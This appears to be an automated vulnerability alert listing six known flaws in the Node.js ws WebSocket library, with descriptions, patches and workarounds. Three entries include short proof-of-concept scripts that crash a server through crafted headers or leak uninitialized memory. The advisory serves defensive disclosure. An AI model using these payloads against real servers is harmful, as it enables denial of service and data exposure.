[VULN] Security Alert for ws

[srm-local-dev-test]

Alert IDs:

• 1ab872f2-e87e-45a3-a1c6-e59391444a0e
• 3ce134e2-f41d-4203-b8e0-f090a05c25b8
• 8522f695-ef1b-4f9d-a0a6-bf77a1879abb
• 9f7a3012-fd57-47f3-a27c-923cd7c46b0f
• b6815f99-3ef8-4233-ac0a-0f4c9e0a8c6c
• e673c1c2-b68a-418d-a8cc-d77d0ac93575

Vulnerabilities in ws

Release: May19threlease

Total Vulnerabilities: 6

---

1. CVE-2016-10542

Severity: HIGH (Score: 0.0)

Description:
ws is a "simple to use, blazing fast and thoroughly tested websocket client, server and console for node.js, up-to-date against RFC-6455". By sending an overly long websocket payload to a ws server, it is possible to crash the node process. This affects ws 1.1.0 and earlier.

Reference: https://nvd.nist.gov/vuln/detail/CVE-2016-10542

Alert ID: 1ab872f2-e87e-45a3-a1c6-e59391444a0e

---

2. CVE-2026-45736

Severity: MEDIUM (Score: 4.4)

Description:

Impact

The websocket.close() implementation is vulnerable to uninitialized memory disclosure when a TypedArray is passed as the reason argument.

Proof of concept

import { deepStrictEqual } from 'node:assert';
import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer(
  { port: 0, skipUTF8Validation: true },
  function () {
    const { port } = wss.address();
    const ws = new WebSocket(`ws://localhost:${port}`, {
      skipUTF8Validation: true
    });

    ws.on('close', function (code, reason) {
      deepStrictEqual(reason, Buffer.alloc(80));
    });
  }
);

wss.on('connection', function (ws) {
  ws.close(1000, new Float32Array(20));
});

Patches

The vulnerability was fixed in ws@8.20.1 (websockets/ws@c0327ec).

Credits

Credit for the private and responsible disclosure of this issue goes to Nikita Skovoroda.

Remarks

Although the calculated CVSS severity is medium, the actual severity is believed to be low, as the flaw is only exploitable through misuse that is unlikely in practice.

Resources

• GHSA-58qx-3vcg-4xpx
• https://www.cve.org/CVERecord?id=CVE-2026-45736

Reference: https://nvd.nist.gov/vuln/detail/CVE-2026-45736

Alert ID: 3ce134e2-f41d-4203-b8e0-f090a05c25b8

---

3. CVE-2021-32640

Severity: MEDIUM (Score: 4.8)

Description:
ws is an open source WebSocket client and server library for Node.js. A specially crafted value of the Sec-Websocket-Protocol header can be used to significantly slow down a ws server. The vulnerability has been fixed in ws@7.4.6 (websockets/ws@00c425e). In vulnerable versions of ws, the issue can be mitigated by reducing the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options.

Reference: https://nvd.nist.gov/vuln/detail/CVE-2021-32640

Alert ID: 8522f695-ef1b-4f9d-a0a6-bf77a1879abb

---

4. GHSA-5v72-xg48-5rpm

Severity: HIGH (Score: 7.5)

Description:
Affected versions of ws can crash when a specially crafted Sec-WebSocket-Extensions header containing Object.prototype property names as extension or parameter names is sent.

Proof of concept

const WebSocket = require('ws');
const net = require('net');

const wss = new WebSocket.Server({ port: 3000 }, function () {
  const payload = 'constructor';  // or ',;constructor'

  const request = [
    'GET / HTTP/1.1',
    'Connection: Upgrade',
    'Sec-WebSocket-Key: test',
    'Sec-WebSocket-Version: 8',
    `Sec-WebSocket-Extensions: ${payload}`,
    'Upgrade: websocket',
    '\r\n'
  ].join('\r\n');

  const socket = net.connect(3000, function () {
    socket.resume();
    socket.write(request);
  });
});

Recommendation

Update to version 3.3.1 or later.

Reference: GHSA-5v72-xg48-5rpm

Alert ID: 9f7a3012-fd57-47f3-a27c-923cd7c46b0f

---

5. CVE-2024-37890

Severity: HIGH (Score: 5.9)

Description:

Impact

A request with a number of headers exceeding the server.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in ws@8.17.1 (websockets/ws@e55e510) and backported to ws@7.5.10 (websockets/ws@22c2876), ws@6.2.3 (websockets/ws@eeb76d3), and ws@5.2.4 (websockets/ws@4abd8f6).

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

References

• GHSA-3h5v-q93c-6h6q
• https://www.cve.org/CVERecord?id=CVE-2024-37890
• Throws TypeError when there are too many HTTP headers websockets/ws#2230
• Fix crash when the Upgrade header cannot be read websockets/ws#2231

Reference: https://nvd.nist.gov/vuln/detail/CVE-2024-37890

Alert ID: b6815f99-3ef8-4233-ac0a-0f4c9e0a8c6c

---

6. CVE-2016-10518

Severity: LOW (Score: 0.0)

Description:
A vulnerability was found in the ping functionality of the ws module before 1.0.0 which allowed clients to allocate memory by sending a ping frame. The ping functionality by default responds with a pong frame and the previously given payload of the ping frame. This is exactly what you expect, but internally ws always transforms all data that we need to send to a Buffer instance and that is where the vulnerability existed. ws didn't do any checks for the type of data it was sending. With buffers in node when you allocate it when a number instead of a string it will allocate the amount of bytes.

Reference: https://nvd.nist.gov/vuln/detail/CVE-2016-10518

Alert ID: e673c1c2-b68a-418d-a8cc-d77d0ac93575

---